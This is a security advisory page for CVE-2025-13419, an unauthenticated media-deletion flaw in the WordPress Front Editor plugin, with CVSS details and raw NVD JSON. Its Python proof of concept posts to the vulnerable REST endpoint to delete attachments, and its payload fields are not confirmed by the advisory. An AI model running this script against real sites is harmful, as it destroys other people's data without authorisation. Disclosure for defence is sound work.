Security Vulnerability Report
中文
CVE-2025-13419 CVSS 5.3 MEDIUM

CVE-2025-13419

Published: 2026-01-07 12:16:48
Last Modified: 2026-04-15 00:35:42

Description

The Guest posting / Frontend Posting / Front Editor – WP Front User Submit plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/bfe/v1/revert' REST API endpoint in all versions up to, and including, 5.0.0. This makes it possible for unauthenticated attackers to delete arbitrary media attachments.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Front Editor (WP Front User Submit) 插件 <= 5.0.0 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13419 PoC - Unauthenticated Media Attachment Deletion # Target: WordPress Front Editor Plugin <= 5.0.0 # Endpoint: /wp-json/bfe/v1/revert def delete_media(target_url, attachment_id): """ Delete arbitrary media attachment without authentication """ endpoint = f"{target_url}/wp-json/bfe/v1/revert" # Prepare the request payload with attachment ID payload = { "id": attachment_id, "force": True } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing capability check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully deleted attachment ID: {attachment_id}") return True else: print(f"[-] Failed to delete attachment. Status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13419.py <target_url> <attachment_id>") print("Example: python cve-2025-13419.py http://example.com 123") sys.exit(1) target = sys.argv[1] attachment_id = int(sys.argv[2]) print(f"[*] Targeting: {target}") print(f"[*] Attempting to delete attachment ID: {attachment_id}") delete_media(target, attachment_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13419", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:47.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Guest posting / Frontend Posting / Front Editor – WP Front User Submit plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/bfe/v1/revert' REST API endpoint in all versions up to, and including, 5.0.0. This makes it possible for unauthenticated attackers to delete arbitrary media attachments."}, {"lang": "es", "value": "El plugin Guest posting / Frontend Posting / Front Editor – WP Front User Submit para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en el endpoint de la API REST '/wp-json/bfe/v1/revert' en todas las versiones hasta la 5.0.0, inclusive. Esto hace posible que atacantes no autenticados eliminen archivos adjuntos multimedia arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3432207%40front-editor&new=3432207%40front-editor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/874b3448-df4c-49c4-bf4f-435cf48f6305?source=cve", "source": "[email protected]"}]}}